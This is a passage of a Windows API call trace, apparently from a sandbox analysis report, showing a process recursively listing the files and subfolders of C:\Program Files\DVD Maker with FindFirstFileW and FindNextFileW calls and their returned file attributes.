lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6b7c690, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b7c690, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0055.303] GetLastError () returned 0x12 [0055.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*" (normalized: "c:\\program files\\dvd maker\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0055.304] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.304] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0055.304] GetLastError () returned 0x12 [0055.304] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0055.304] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0055.304] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0055.304] GetLastError () returned 0x12 [0055.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*" (normalized: "c:\\program files\\dvd maker\\shared\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0055.305] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.305] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0055.305] GetLastError () returned 0x12 [0055.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0055.305] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.305] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0055.305] GetLastError () returned 0x12 [0055.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.306] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.306] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0055.307] GetLastError () returned 0x12 [0055.307] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.308] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.308] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0055.308] GetLastError () returned 0x12 [0055.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.446] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.446] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0055.446] GetLastError () returned 0x12 [0055.446] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.446] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.446] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0055.446] GetLastError () returned 0x12 [0055.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.456] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.456] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.456] GetLastError () returned 0x12 [0055.456] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.457] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.457] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0055.457] GetLastError () returned 0x12 [0055.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.459] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.459] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.459] GetLastError () returned 0x12 [0055.460] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.461] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.461] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0055.461] GetLastError () returned 0x12 [0055.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.466] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.466] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.466] GetLastError () returned 0x12 [0055.467] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.468] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.468] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0055.469] GetLastError () returned 0x12 [0055.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.472] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.472] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.472] GetLastError () returned 0x12 [0055.472] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.473] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.473] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0055.475] GetLastError () returned 0x12 [0055.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0055.478] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0055.478] GetLastError () returned 0x12 [0055.478] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0055.479] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0055.479] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0055.479] GetLastError () returned 0x12 